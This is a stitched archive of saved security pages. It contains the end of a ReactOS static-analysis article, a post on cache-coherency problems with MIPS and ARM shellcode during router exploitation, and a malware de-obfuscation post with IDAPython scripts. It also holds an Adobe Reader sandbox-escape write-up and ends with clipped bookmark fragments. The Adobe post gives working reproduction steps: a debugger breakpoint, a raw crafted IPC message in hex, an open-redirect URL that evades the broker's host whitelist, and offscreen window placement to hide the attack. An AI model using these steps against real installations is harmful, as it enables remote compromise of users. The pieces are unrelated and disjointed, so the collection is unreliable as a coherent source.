the expression at hand as well: "if \(-1 == res = setsockopt\(....\)\)".

But even if you follow that practice, you can easily make a mistake in an
alternative way.

[code]

    static DWORD CALLBACK
    RegistrationProc(LPVOID Parameter)
    {
      ...
      if (0 == LoadStringW(hDllInstance, IDS_UNKNOWN_ERROR,
                            UnknownError,
                            sizeof(UnknownError) /
                            sizeof(UnknownError[0] - 20)))
      ...
    }
[/code]

The 0 constant is written nicely here. But the closing parenthesis is in a
wrong place. It's a simple misprint.

What for do I cite all these examples? To show you that no one of us
programmers is ideal. Neither coding standards, nor programming technologies,
nor self-discipline guarantee that you won't make mistakes in source code.

In large projects you just cannot do without auxiliary technologies like
dynamic and static analysis. I want to emphasize the following idea:

**I believe that static code analysis should be a mandatory component of the
development cycle in the case of ReactOS and other large projects.**

Let me explain my statement. In such systems, you cannot get close to 100%
code coverage when testing the code with unit-tests or regression tests. Well,
to be more precise, you can, of course, but costs of creating and maintaining
such tests will become unacceptably high.

The reason is that the number of system's possible states and execution paths
of code branches is too large. Some branches get control rarely but they do
not get less important because of that. It is here that you can notice the
advantage of static analysis. It checks the whole source code regardless of
how often it gets control during the program's execution.

Here is an example of checking a code that rarely gets control:

[code]

    static HRESULT STDMETHODCALLTYPE
    CBindStatusCallback_OnProgress(...)
    {
      ...
      if (This->szMimeType[0] != _T(''))
        _tprintf(_T("Length: %I64u [%s]\n"), This->Size,
                 This->szMimeType);
      else
        _tprintf(_T("Length: %ull\n"), This->Size);
      ...
    }
[/code]

It's most likely that the code was written incorrectly in the beginning. Then
somebody noticed that the message was generated in a wrong way and fixed it by
writing "%I64u". But he paid no attention to the code nearby, while it still
has an incorrect format "%ull". This brunch seems to be called very rare.
Static analysis won't miss that. It hadn't actually, since I can show you this
example.

Another good example is a large number of memory cleanup errors that I've
found in ReactOS. I understand why there are so many of them. Nobody checks
whether the memory is filled or not. Firstly, it's difficult to realize that
you might make a mistake in such simple places. Secondly, it's not so easy to
verify if some temporary buffer in a function has been cleared or not. Static
analysis again comes to your aid here. Let me give you only a couple of
examples. Virtually I have counted at least 13 errors of filling arrays with a
constant value.

[code]

    #define MEMSET_BZERO(p,l) memset((p), 0, (l))
    
    char *SHA384_End(SHA384_CTX* context, char buffer[]) {
      ...
      MEMSET_BZERO(context, sizeof(context));
      ...
    }
[/code]

Only the first bytes of the array are cleared, since sizeof\(context\) returns
the pointer's size instead of the structure's size.

[code]

    #define RtlFillMemory(Destination, Length, Fill) \
      memset(Destination, Fill, Length)
    
    #define IOPM_FULL_SIZE          8196
    
    HalpRestoreIopm(VOID)
    {
      ...
      RtlFillMemory(HalpSavedIoMap, 0xFF, IOPM_FULL_SIZE);
      ...
    }
[/code]

Arguments are mixed up when using the RtlFillMemory macro. This is how the
call should look:

[code]

    RtlFillMemory(HalpSavedIoMap, IOPM_FULL_SIZE, 0xFF);
[/code]

## To tabs and spaces again

_I want to ask you beforehand not to start a flame on the topic in comments. I
will simply tell you my opinion. You may agree with it or not, but let's not
discuss it._

There are two irreconcilable camps. One of them stands for using tabs in code
because it allows you to adjust code presentation according to your
preferences. The others say that it doesn't work anyway and there are no good
reasons for using tabs. Tabs cause only harm and spoiled formatting. I refer
to the latter camp.

We may eternally repeat that everything will be okay if tabs are used in a
right way. Unfortunately, people who say that work on one project in
isolation, without interacting with the outer world. In any open-source or
simply large project you cannot obtain a good code formatting if it is
permitted to use tabulation of any kind.

I won't get involved into abstract discussions. This time I will simply cite
an obvious example from ReactOS's code to my opponents.

ReactOS's coding standard has a good rule from the theoretical viewpoint
\[2\]:

**Generic note about TABs usage: Don't use TABs for formatting; use TABs for
indenting only and use only spaces for formatting.**

[code]

    Example:
    NTSTATUS
    SomeApi(IN Type Param1,
    [spaces]IN Type Param2)
    {
    [TAB]ULONG MyVar;
    [TAB]MyVar = 0;
    [TAB]if ((MyVar == 3) &&
    [TAB][sp](Param1 == TRUE))
    [TAB]{
    [TAB][TAB]CallSomeFunc();
    ...
[/code]

TAB fans are satisfied. But I open up ReactOS's sources and observe spoiled
formatting in many places. Why is that?

<img src='img/Temp2_6084.png' width='580' height='215' alt='Tabs vs Spaces 1'
/>

<img src='img/Temp2_6087.png' width='554' height='346' alt='Tabs vs Spaces 2'
/>

<img src='img/Temp2_6086.png' width='550' height='220' alt='Tabs vs Spaces 3'
/>

The answer is obvious. Because it's hard to remember where you should press
TAB and where you should press several spaces when the project is not the only
one you are dealing with. That's why people constantly make mistakes. Since it
comes to that, let's be practitioners, not theorists. Why not forbid usage of
tabs at all? Then we all will write code with the same formatting and if a
violator appears who starts using tabs, it will be easy to find and reprimand
him.

It's not a step backward in code formatting\! It's just a step forward\! It's
the next level of awareness. Theoretical beauty of indenting does not match
practice. First of all, it's important to provide unequivocal code
representation and easy development process in a large team. The Google
company understands that. Their formatting standard uses only spaces \[3\].
Those who stand for using tabs, please think it over why it is spaces that a
distributed team of highly skilled professionals working on Chromium has
chosen for formatting.

And once again, the theoretical beauty of configurable indenting does not
match practice. However nice the theory sounds, it's of no use if it doesn't
work. And this is how things are in ReactOS.

So my recommendation to the ReactOS development team is to modify their
standard and to refuse usage of tabulation. Any tab should be considered a
mistake and eliminated from the code.

By the way, this practice will allow you to detect awful things like the
following one in ReactOS's code:

[code]

    BOOLEAN
    KdInitSystem(IN ULONG BootPhase,
                 IN PLOADER_PARAMETER_BLOCK LoaderBlock)
    {
      ...
      /* Check if this is a comma, a space or a tab */
      if ((*DebugOptionEnd == ',') ||
          (*DebugOptionEnd == ' ') ||
          (*DebugOptionEnd == ' '))
      ...
    }
[/code]

The last comparison is comparison to a tab, not a space, as it may seem. The
right code must be the following: "\(\*DebugOptionEnd == '\t'\)".

**Note for TAB fans.** Please, don't tell me again how to use tabs in a right
way. And this is not my code. Look, there is a concrete project like ReactOS.
It has a badly formatted code. Now think how to save a new programmer opening
the project's code from making guesses about what TAB size should be set in
the editor's settings. Ideas like "they should have written it right from the
beginning " are of no practical value.

## References

  1. Newsletter 79. Coverity Redux. http://www.viva64.com/go.php?url=727
  2. ReactOS. Coding Style. http://www.viva64.com/go.php?url=724
  3. Google C++ Style Guide. http://www.viva64.com/go.php?url=679

P.S. Follow Me in Twitter.

# Why is My Perfectly Good Shellcode Not Working?: Cache Coherency on MIPS and
ARM

**Created:**| _3/2/2019 6:29:08 PM_  
---|---  
**Updated:**| _3/2/2019 6:29:08 PM_  
**Author:**| _wishi_  
**Tags:**| _shellcode arm Mips_  
  

  

##  Why is My Perfectly Good Shellcode Not Working?: Cache Coherency on MIPS
and ARM

2/5/2019  <img src='img/Temp2_9489.png' width='496' height='157' alt='Picture'
/>gdb showing nonsensical crashes To set the scene: You found a stack buffer
overflow, wrote your shellcode to an executable heap or stack, and used your
overflow to direct the instruction pointer to the address of your shellcode.
Yet your shellcode is inconsistent, crashes frequently, and core dumps show
the processor jumped to an address halfway through your shellcode, seemingly
without executing the first half. The symptoms haven’t helped diagnose the
problem, they’ve left you more confused.  
  
You’ve tried everything. Changing the size of the buffer, page aligning your
code, even waiting extra cycles, but your code is still broken. When you turn
on debug mode for the target process, or step through with a debugger, it
works perfectly, but that isn’t good enough. Your code doesn’t self-modify, so
you shouldn’t have to worry about cache coherency, right?

* * *
<img src='img/Temp2_9486.png' width='420' height='276' alt='Picture' />We
accessed a root console via UART That’s what happened to us on MIPS when we
exploited a TP-Link router. In order to save time, we added a series of NOPs
from the beginning of the shellcode buffer to where the processor often
“jumped,” and put the issue in the queue to explore later. We encountered a
similar problem on ARM when we exploited Devil’s Ivy on an ARM chip. We
circumvented the problem by not using self-modifying shellcode, and logged the
issue so we could follow up later.  
  
Since we finished exploring lateral attacks, the research team has taken some
time to dig into the shellcoding oddities that puzzled us earlier, and we’d
like to share what we've learned.

* * *
## MIPS: A Short Explanation and Solution

<img src='img/Temp2_9484.png' width='417' height='313' alt='Picture'
/>Overview of MIPS caches Our MIPS shellcode did not self-modify, but it ran
afoul of cache coherency anyway. MIPS maintains two caches, a data cache and
an instruction cache. These caches are designed to increase the speed of
memory access by conducting reads and writes to main memory asynchronously.
The caches are completely separate, MIPS writes data to the data cache and
instructions to the instruction cache. To save time, the running process pulls
instructions and data from the caches rather than from main memory. When a
value is not available from the cache, the processor syncs the cache with main
memory before the process tries again.  
  
When the TP-Link’s MIPS processor wrote our shellcode to the executable heap
it only wrote the shellcode to the data cache, not to main memory. Modified
areas in the data cache are marked for later syncing with main memory.
However, although the heap was marked executable, **** the processor didn’t
automatically recognize our bytes as code and never updated the instruction
cache with our new values. What’s more, even if the instruction cache synced
with main memory before our code ran, it still wouldn’t have received our
values because they had not yet been written from the data cache to main
memory. Before our shellcode could run, it needed to move from the data cache
to the instruction cache, by way of main memory, and that wasn't happening.  
  
This explained the strange crashes. After our stack buffer overflow overwrote
the stored return address with our shellcode address, the processor directed
execution to the correct location because the return address was data.
However, it executed the old instructions that still occupied the instruction
cache, rather than the ones we had recently written to the data cache. The
buffer had previously been filled mostly by zeros, which MIPS interprets as
NOPs. Core dumps showed an apparent “jump” to the middle of our shellcode
because the processor loaded our values just before, or during, generating the
core dump. The processor hadn't synced because it assumed that the
instructions that had been at that location would still be at that location, a
reasonable assumption given that code does not usually change mid-execution.
There are legitimate reasons for modifying code \(most importantly, every time
a new process loads\), so chip manufacturers generally provide ways to flush
the data and instruction cache.  
  
One easy way to cause a data cache write to main memory is to call sleep\(\),
a well known strategy which causes the processor to suspend operation for a
specified period of time. Originally our ROP chain only consisted of two
addresses, one to calculate the address of the shellcode buffer from two
registers we controlled on the stack, and the next to jump to the calculated
address.

* * *
To call sleep\(\) we inserted two addresses before the original ROP chain. The
first code snippet set $a0 to 1. $a0 is the first argument to sleep and tells
the processor how many milliseconds to sleep. This code also loaded the
registers $ra and $s0 from the stack, returning to the value we placed on the
stack for $ra. <img src='img/Temp2_9483.png' width='541' height='230'
alt='Picture' /> Setting up call to sleep\(\) The next code snippet called
sleep\(\). Since sleep\(\) returned to the return address passed into the
function, we needed the return address to be something we controlled. We found
a location that loaded the return address from the stack and then jumped to a
register. We were pleased to find the code snippet below, which transfers the
value in $s1, which we set to sleep\(\), into $t9 and then calls $t9 after
loading $ra from the stack. <img src='img/Temp2_9487.png' width='543'
height='271' alt='Picture' /> Calling sleep\(\) From there, we executed the
rest of the ROP chain and finally achieved consistent execution of our
exploit.  
  
​Read on for more details about syncing the MIPS cache and why calling
sleep\(\) works or scroll down for a discussion of ARM cache coherency
problems.  

## In Depth on MIPS Caching

<img src='img/Temp2_9488.png' width='491' height='368' alt='Picture' /> Most
of the time when we talk about syncing data, we're trying to avoid race
conditions between two entities sharing a data buffer. That is, at a high
level, the problem we encountered, essentially ​a race condition between
syncing our shellcode and executing it. If syncing won, the code would work,
if execution won, it would fail. Because the caches do not sync frequently, as
syncing is a time consuming process, we almost always lost this race.
According to the MIPS Software Training materials \(PDF\) on caches, whenever
we write instructions that the OS would normally write, we need to make the
data cache and main memory coherent and then mark the area containing the old
instructions in the instruction cache invalid, which is what the OS does every
time it loads a new process into memory.  
  
The data and instruction caches store between 8 and 64KBs of values, depending
on the MIPS processor. The instruction cache will sync with main memory if the
processor encounters a syncing instruction, execution is directed to a
location outside the bounds of what is stored in the instruction cache, and
after cache initialization. With a jump to the heap from a library more than a
page away, we can be fairly certain that the values there will not be in the
instruction cache, but we still need to write the data cache to main memory.

* * *
<img src='img/Temp2_9485.png' width='421' height='380' alt='Picture' /> We
learned from devttys0 that sleep\(\) would sync the caches. We tried it out
and our shellcode worked\! We also learned about another option from emaze,
calling cacheflush\(\) from libc will more precisely flush the area of memory
that you require. However, it requires the address, number of bytes, and cache
to be flushed, which is difficult from ROP. Because calling sleep\(\), with
its single argument, was far easier, we dug a little deeper to find out why
it's so effective.  
  
During sleep, a process or thread gives up its allotted time and yields
execution to the next scheduled process. However, a context switch on MIPS
does not necessitate a cache flush. On older chips it may, but on modern MIPS
instruction cache architectures, cached addresses are tagged with an ID
corresponding to the process they belong to, resulting in those addresses
staying in cache rather than slowing down the context switch process any
further. Without these IDs, the processor would have to sync the caches during
every context switch, which would make context switching even more expensive.
So how did sleep\(\) trigger a data cache write back to main memory?  
  
The two ways data caches are designed to write to main memory are write-back
and write-through. Write-through means every memory modification triggers a
write out to main memory and the appropriate cache. This ensures data from the
cache will not be lost, but greatly slows down processing speed. The other
method is write-back, where data is written only to the copy in the cache, and
the subsequent write to main memory is postponed for an optimal time. MIPS
uses the write-back method \(if it didn’t, we wouldn’t have these problems\)
so we need to wait until the blocks of memory in the cache containing the
modified values are written to main memory. This can be triggered a few
different ways.  
  
One trigger is any Direct Memory Access \(DMA\) . Because the processor needs
to ensure that the correct bytes are in memory before access occurs, it syncs
the data cache with main memory to complete any pending writes to the selected
memory. Another trigger is when the data cache requires the cache blocks
containing modified values for new memory. As noted before, the data cache
size is at least 8KB, large enough that this should rarely happen. However,
during a context switch, _if_ the data cache requires enough new memory that
it needs in-use blocks, it will trigger a write-back of modified data, moving
our shellcode from the data cache to main memory.  
  
As before, when the sleeping process woke, it caused an instruction cache miss
when directing execution to our shellcode, because the address of the
shellcode was far from where the processor expected to execute next. This
time, our shellcode was in main memory, ready to be loaded into the
instruction cache and executed.

* * *
## Wait, Isn't This a Problem on ARM Too?

It sure is. ARM maintains separate data and instruction caches too. The
difference is we’re far less likely to find executable heaps and stacks
\(which was the default on MIPS toolchains until recently\). The lack of
executable space ready for shellcode forces us to allocate a new buffer, copy
our shellcode to it, mark it executable, and then jump to it. Using mprotect
to mark a buffer executable triggers a cache flush, according to the Android
Hacker’s Handbook. The section also includes an important and very helpful
note. <img src='img/Temp2_9491.png' width='578' height='442' alt='Picture' />
Excerpt from Chapter 9, Separate Code and Instruction Cache, "Android Hackers
Handbook" However there are still times we need to sync the instruction cache
on ARM, as in the case of exploiting Devil’s Ivy. We put together a ROP chain
that gave us code execution and wrote self-modifying shellcode that decoded
itself in place because incoming data was heavily filtered.  Although we
included code that we thought would sync the instruction cache, the code
crashed in the strangest ways. Again, the symptoms were not even close to what
we expected. We saw the processor raise a segfault while executing a perfectly
good piece of shellcode, a missed register write that caused an
incomprehensible crash ten lines of code later, and a socket that connected
but would not transmit data. Worse yet, when we attached gdb and went through
the code step by step, it worked perfectly. There was no behavior that pointed
to an instruction cache issue, and nothing easy to search for help on, other
than “Why isn’t my perfectly good shellcode working\!?” By now you can guess
what the problem was, and we did too.  
  
If you are on ARMv7 or newer and running into odd problems, one solution is to
execute data barrier and instruction cache sync instructions after you write
but before you execute your new bytes, as shown below. <img
src='img/Temp2_9490.png' width='700' height='87' alt='Picture' /> ARMv7+ cache
syncing instructions On ARMv6, instead of DSB and ISB, ARM provided MCR
instructions to manipulate the cache. The following instructions have the same
effect as DSB and ISB above, though prior to ARMv6 they were privileged and so
won't work on older chips. <img src='img/Temp2_9494.png' width='700'
height='89' alt='Picture' /> ARMv6 cache syncing instructions <img
src='img/Temp2_9492.png' width='542' height='194' alt='Picture' />Shellcode to
call sleep\(\) If you are too restricted by a filter to execute these
instructions, as we were, neither of these solutions will work. While there
are rumors about using SWI 0x9F0002 and overwriting the call number because
the system interprets it as data, this method did not work for us and so we
can’t recommend it \(but feel free to let us know if you tried it and it
worked for you\).  
  
One thing we could do is call mprotect\(\) from libc on the modified
shellcode, but an even easier thing is to call sleep\(\) just like we did on
MIPS. We ran a series of experiments and determined that calling sleep\(\)
caused the caches to sync on ARMv6.  
  
Our shellcode was limited by a filter, so, although we were executing
shellcode at this point, we took advantage of functions in libc. We found the
address of sleep, but its lower byte was below the threshold of the filter. We
added 0x20 to the address \(the lowest byte allowed\) to pass it through the
filter and subtracted it with our shellcode, as shown to the right.  
  
​Although context switches don't directly cause cache invalidation, we suspect
that the next process to execute often uses enough of the instruction cache
that it requires blocks belonging to the sleeping process. The technique
worked well on this processor and platform, but if it doesn’t work for you, we
recommend using mprotect\(\) for higher certainty.

* * *
## Conclusion

The way systems work in theory is not necessarily what happens in the real
world. While chips have been designed to prevent additional overhead during
context switches, no system runs in precisely the way it was intended.  
  
We had fun digging into these issues. Diagnosing computer problems reminds us
how difficult it can be to diagnose health conditions. Symptoms show up in a
different location than their cause, like pain referred from one part of the
leg to another, and simply observing the problem can change its behavior.
Embedded devices were designed to be black boxes, telling us nothing and
quietly going about the one task they were designed to do. With more insight
into their behavior, we can begin to solve the security problems that confound
us.  
  
​Just getting started in security? Check out the recent video series on the
fundamentals of device security. Old hand? Try our team's research on lateral
attacks, the vulnerability our ARM work was based on, and the MIPS-based
router vulnerability. Why is My MRI Machine Talking to Russia? You’ve managed
to get a handle on the connected devices in your environment:
congratulations\! Now... Oct 11, 2018 11:00 The Insecurity of Industrial
Control Systems Industrial Control Systems \(ICS\) have a reputation for being
more secure than consumer devices. T... Feb 28, 2019 17:00 All You Need is
Love... and Endpoint Protection? According to The Beatles, all you need is
love. As this is Valentine’s Day, we’ll discuss love an... Feb 14, 2019 16:00
Why is My Perfectly Good Shellcode Not Working?: Cac... gdb showing
nonsensical crashes To set the scene: You found a stack buffer overflow, wrote
your s... Feb 5, 2019 16:00 How Effective is Encryption? ​ In our fundamentals
of security series, we introduce common concepts in security. The last segm...
Jan 23, 2019 16:00 Fundamentals of Security: Why Worry About DNS? In our
device security series, we introduce common concepts in security. The last
item in our ser... Jan 15, 2019 16:00 NotPetya's Impact Still Growing We wrote
last month about the continuing impact of NotPetya , long after its initial
impact, d... Jan 12, 2019 0:33 Fundamentals of Security: How Solid are
Firewalls? In our security series, we introduce common concepts in device
security. The last item in our ser... Jan 3, 2019 17:00 NotPetya: Not Going
Away Last summer, Wired reported the devastating impact NotPetya had on
companies around the world. It... Dec 12, 2018 17:42 Fundamentals of Security:
What is SSH? We’re drawing on our security knowledge to provide a series on
the fundamentals of securing devic... Dec 10, 2018 19:58 Fundamentals of
Security: Why Is Asset Management Im... We’re drawing on our security
knowledge to provide a series on the fundamentals of securing devic... Dec 4,
2018 16:00 Fundamentals of Device Security: Where Are Your Devi... We’re
drawing on our security knowledge to provide a series on the fundamentals of
securing devic... Nov 27, 2018 16:00 You've Got \(New\) Devices\! “You’re
giving us more things to look at. We’re already ignoring all but the most
critical alerts... Oct 18, 2018 11:30 Where Are My Devices? When we talk about
cybersecurity fundamentals, “knowing what you’re defending” is arguably the
mo... Oct 16, 2018 16:00 Software, Firmware, & Hardware: Turtles All The Way
... Updated 16Feb2019 to include links to Bunnie Huang's & Trammell Hudson's
talks With the recent Bl... Oct 11, 2018 18:40 Why is My MRI Machine Talking
to Russia? You’ve managed to get a handle on the connected devices in your
environment: congratulations\! Now... Oct 11, 2018 11:00 The Insecurity of
Industrial Control Systems Industrial Control Systems \(ICS\) have a
reputation for being more secure than consumer devices. T... Feb 28, 2019
17:00 <img src='img/Temp2_9493.png' width='19' height='22' />Powered by
feedwind __Tweet  
---  
  

# De-obfuscating the obfuscated binaries with visualization - Security Labs
Blog

**Created:**| _4/20/2010 4:56:44 PM_  
---|---  
**Updated:**| _4/20/2010 4:57:00 PM_  
**Author:**| __  
**Tags:**| _python iDA Graphs Malware-analysis visualization_  
  

De-obfuscating the obfuscated binaries with visualization

**04.19.2010 - 8:00 PM**

  

##### **SEARCH BLOG**

  * Subscribe to this feed »

  

So I was spending an afternoon reverse-engineering few malware binaries. And
all of them were packed and obfuscated. I was just curious what kind of
tactics and methods they are using and went through some of them. Here's some
brief notes on the technique some malwares are adopting and few scripts. Most
of them are in the realm of polymorphism and already known for years or even
decades, but the purpose of this article is to show how you can adopt
scripting and graphing to ease the burden of obfuscated binaries.

**Fake Exports**  

Yes, fake exports. An executable is exporting multiple entries which is not
usual. They are exporting some random points of the binary with random names
and IDA is so sure that it should be a separate function and break up the
control flow.

<img src='img/Temp2_2006.png' />

Illustration 1: A function split by exported entry

It's very hard to remove a function when it's exported. The exported functions
tends to have random names and I wrote some IDAPython script that searches for
names that is not supported auto generated by IDA and remove them.

[code]

    import idaapi
            
    for i in range(0, idaapi.get_func_qty(), 1 ):
            func = idaapi.getn_func( i )
            name = idaapi.get_func_name( func.startEA )
            
            if name != 'start' and name[0:4]!='sub_':
                    print name,func.startEA, func.flags
                    idaapi.del_func( func.startEA )
    
[/code]

It searches for any function that doesn't have name "start" or default name
prefix "sub\_".

**Visual Interference with NOP repetitions**

So as I went through the disassembly, I found that it has some repeating
patterns that has no meaning at all. It's just pushing a register and modify
the same register and pop it again. So the register is not changed after all.
This is just a NOP pattern. And it was inserted all over the place and made
the analysis very tiresome.

It looks like following picture below.

<img src='img/Temp2_2002.png' />

Illustration 2: Repeating NOPs  

Actually "db 3eh" byte is not valid according to IDA, but seems like the
processor doesn't care about that and just skip it. So all the red-boxed
region is just overheads put to make you overwhelmed.

So the solution is just removing them and make it real NOP. And I felt better
after all. Here's the script that I used. It searches for the bytes "50 3e 0f
c8 58" patterns, which is the hex representation of NOP parts, through the
disassembly and patch them to real NOPs\(0x90...\).

[code]

    import idaapi
    import idc
    
    CurrentAddress = idc.MinEA()
    while 1:
            CurrentAddress = idaapi.find_binary( CurrentAddress+1, idc.MaxEA(), "50 3e 0f c8 58", 16 , idc.SEARCH_DOWN )
            if CurrentAddress == 0xffffffff:
                    break
            print "Patching bytes at ", hex( CurrentAddress )
    
            idaapi.patch_many_bytes( CurrentAddress, "\x90\x90\x90\x90\x90" )
    
[/code]

<img src='img/Temp2_2008.png' />

Illustration 3: NOPs converted to real NOPs  

So here's what I got after the script execution.

**Basic Block Chunks**

So the malware had a lot of chunked codes and IDA was very poor at analysis.
IDA is known to be bad in dealing with chunked basic blocks and the malware is
exploiting it. Here's the chunked code example. It's heavily split through the
binary using jmp instructions.

<img src='img/Temp2_2010.png' />

Illustration 4: Chunked code using jmps  

And when you look into the graph view, it looks like almost impossible to
decipher. IDA is severely failing in graphing it.

<img src='img/Temp2_2003.png' />

Illustration 5: IDA is especially poor in dealing with code chunks.  

So I wrote a script called IDAGrapher to do the analysis correctly even with
chunked basic blocks. And here's the graph that the tool generated.

<img src='img/Temp2_2001.png' />

Illustration 6: So it looks much better  

It uses power of graphviz\(http://www.graphviz.org/\) graph tool to generate
the graph file.

**Packing**

So basically the malware is packed and the unpacking routine is obfuscated and
we de-obfuscated the unpacking routines. And now it's time to find where the
original routine starts.

Here's a part of the whole graph. The whole graph is huge, but you just need
to concentrate on green blocks. Green block means it's the terminal block. It
can return or jmp to some register assigned location or stack assigned
location. So you can't determine next control flow easily but it should be
determined dynamically. This means that it's the strong candidate for OEP
jumping point.

<img src='img/Temp2_2004.png' />

Here's the zoomed-in shot.

<img src='img/Temp2_2007.png' />

Illustration 8: The block that returns to original routines  

You can see that it's returning. But sometimes malware pushes jump address on
the stack and use "ret\*" instructions to achieve code jumps.

So we put break on the specific instruction. And execute the binary using IDA
debugger. Here's what we got.

<img src='img/Temp2_2011.png' />

Illustration 9: The point before the jump to original routines  

After that, if we "step over" the instruction by pressing F8 key, we get this.

<img src='img/Temp2_2009.png' />

So "sub\_416616" might be the first function called inside the packed binary.
To make it sure, look into the original packed binary, the same location
looked like following.

<img src='img/Temp2_2005.png' />

So we can be sure that the binary is unpacked now.

So just tracing through whole step without having no idea on the control flow
is very tedious and time consuming. The graphical view generated by simple
script can help you where you should put a breakpoint to catch the OEP. In
this case, you just had to look into the green blocks.

So the source code for this IDA graphing tool is a little bit big and I put
that on the googlecode site. You can grab the code from
here\(http://code.google.com/p/idagrapher/\). The code is far from complete
and just a kind of a proof of concept. You can modify the code for your own
situation.

So we can see that IDAPython helps you decoding cryptic disassembly list and
correct custom graphic representation of the code blocks are useful in
analyzing obfuscated binaries.

_Security Researchers_ : Oh, Matt

# Adobe Reader Escape... or how to steal research and be lame.

**Created:**| _3/7/2018 8:46:54 AM_  
---|---  
**Updated:**| _3/7/2018 8:46:54 AM_  
**Author:**| _wishi_  
**Tags:**| _pdf adobe_  
  

  

###  Adobe Reader Escape... or how to steal research and be lame.

\(I hope I’m not overlooking anything and making wrong assumptions.. I’m not a
very smart person\)

  
Version tested:

<img src='img/version.png' width='400' height='77' />

**  
**

**  
**

**Note: Similar - if not the same - bug was discussed in this talk:
https://cansecwest.com/slides/2013/Adobe%20Sandbox.pdf \(just using a
different method of navigating..which I think does not work anymore today\)**

  

**How to reproduce:**

1. Open windbg, attach to the low IL acrord32.exe process.
2. Put a breakpoint on the function responsible for sending out our IPC call to the broker process:
  

Bp AcroRd32.exe+0x14D30

  

Note: This ofcourse is version dependent, just search for xrefs to the import
“SignalObjectAndWait” … normally only this function calls it, regardless of
version \(just bp at the start of the function\).

  

3. Let it run, wait for the breakpoint to hit. Once that happens we simply change the message with a crafted one by using the following command:
  

Eb poi\(esp+0x4\) 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 04 00 00 00 AC 00 00 00
04 00 00 00 01 00 00 00 B4 00 00 00 EC 00 00 00 02 00 00 00 A4 01 00 00 04 00
00 00 02 00 00 00 AC 01 00 00 04 00 00 00 02 00 00 00 B4 01 00 00 04 00 00 00
02 00 00 00 BC 01 00 00 04 00 00 00 02 00 00 00 C4 01 00 00 04 00 00 00 06 00
00 00 CC 01 00 00 0A 02 00 00 00 00 00 00 FF FF 00 00 00 00 00 00 00 00 00 00
00 00 00 00 68 00 74 00 74 00 70 00 73 00 3A 00 2F 00 2F 00 61 00 63 00 63 00
6F 00 75 00 6E 00 74 00 73 00 2E 00 67 00 6F 00 6F 00 67 00 6C 00 65 00 2E 00
63 00 6F 00 6D 00 2F 00 4C 00 6F 00 67 00 6F 00 75 00 74 00 3F 00 63 00 6F 00
6E 00 74 00 69 00 6E 00 75 00 65 00 3D 00 68 00 74 00 74 00 70 00 73 00 3A 00
2F 00 2F 00 61 00 70 00 70 00 65 00 6E 00 67 00 69 00 6E 00 65 00 2E 00 67 00
6F 00 6F 00 67 00 6C 00 65 00 2E 00 63 00 6F 00 6D 00 2F 00 5F 00 61 00 68 00
2F 00 6C 00 6F 00 67 00 6F 00 75 00 74 00 3F 00 63 00 6F 00 6E 00 74 00 69 00
6E 00 75 00 65 00 3D 00 68 00 74 00 74 00 70 00 3A 00 2F 00 2F 00 63 00 6E 00
6E 00 2E 00 63 00 6F 00 6D 00 00 00 00 00 00 00 00 00 0F 00 00 00 00 00 00 00
00 00 00 00 00 00 08 00 00 00 FF 00 00 00 00 00 00 00 FF 00 00 00 00 00 00 00
FF 02 00 00 00 00 00 00 FF 02 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00
00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00

  

The tag for this “crosscall” is 0x111 .. it has 8 parameters .. one of them is
an URL. The broker process will check this URL against an hardcoded list of
host names:

  

<img src='img/hostnames.png' width='400' height='185' />

  

  

If our url hostname matches one in the list it won’t prompt before opening
some weird IE frame, that runs in the broker process at medium \(best idea
ever, and yes IE = Internet Explorer\).

  

But Adobe is not really smart, because its super easy to find something like
this:

  

https://accounts.google.com/Logout?continue=https://appengine.google.com/\_ah/logout?continue=http://cnn.com

  

So yea, the stupid hostname is going to match \(accounts.google.com is
whitelisted\) .. but it will simply redirect to whatever… so… that’s kind of
silly .. xD

  

So we can open weird IE windows running at medium without prompt and control
the contents\!

Our chain would look like this: Adobe reader RCE -> This escape -> IE RCE
\(its not pretty, but we don’t need an IE sandbox escape, since it already
runs at medium……… I think…. Atleast inspect.exe tells me it does\).

  

We can also easily hide the IE window since we control its size and position,
and by giving the position a large value it will be rendered outside the
screen for some weird reason \(atleast on my VM\) … the offset for the
position in our message is: 0x1A4 and 0x1AC size is: 0x1B4 and 0x1BC

  

If we use a “normal” size and position values it will look like this.. lets
say position 0xFF, 0xFF and size 0x2FF, 0x2FF:

  

<img src='img/firstimage.png' width='400' height='212' />

  

  

Now if we change our position parameters to 0x4FF and 0x4FF and size to 0x65
and 0x65, it will look like this \(renders outside the screen\!\):

  

  

  

<img src='img/showcase2.png' width='400' height='222' />

  

  

So besides the adobe icon in the taskbar it won’t be suuuuper obvious… so if
your IE RCE doesn’t take ages to run \(once you get medium IL RCE… you just
close the stupid IE window again\), I guess it would be fine\! This bug was
one that immediately stood out for me … its just so obvious.. but its an ugly
bug, because it requires a long chain … but I have a decent idea of the attack
surface now, so maybe I can find better bugs in the future\!

  

  

  

  

  

Posted by  SandboxEscaper at 10:51 AM

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

  

  *[10:51 AM]: 2018-01-19T10:51:00+01:00

# Vorlesung Informationssicherheit Thema 6: Angriffstechniken

**Created:**| _12/31/2009 3:08:40 PM_  
---|---  
**Updated:**| _12/31/2009 3:09:15 PM_  
**Author:**| __  
**Tags:**| _Exploit presentation-material University_  
  
<img src='img/Temp2_9012' />

# Minemu - Minemu

**Created:**| _6/18/2011 3:33:37 PM_  
---|---  
**Updated:**| _6/18/2011 3:33:37 PM_  
**Author:**| __  
**Tags:**| _Emulation Tainting_  
  

# Minemu

### From Minemu

\(Redirected from Main Page\)

Jump to: navigation, search

**Minemu** is a minimal emulator for dynamic taint analysis

This website runs on lighttpd/php/postgresql, all running under **Minemu**.

FTP server running ProFTPd 1.3.3a

Our paper is currently under submission, description coming soon.

If you are interested in testing **Minemu** , we ask you kindly to send an
email to _info@minemu.org_ and we will send you the source code.

**Minemu** will be released under a permissible Free Software licence.

# comex/star\_ - GitHub

**Created:**| _7/19/2011 10:38:03 PM_  
---|---  
**Updated:**| _7/19/2011 10:38:03 PM_  
**Author:**| __  
**Tags:**| _bookmark Exploit Mac-hacking_  
  
external repositories: \------------------------------------------------------
data: mach-o handling white: load dylibs into the kernel datautils0: make
kernel patches, port over symbols in here:
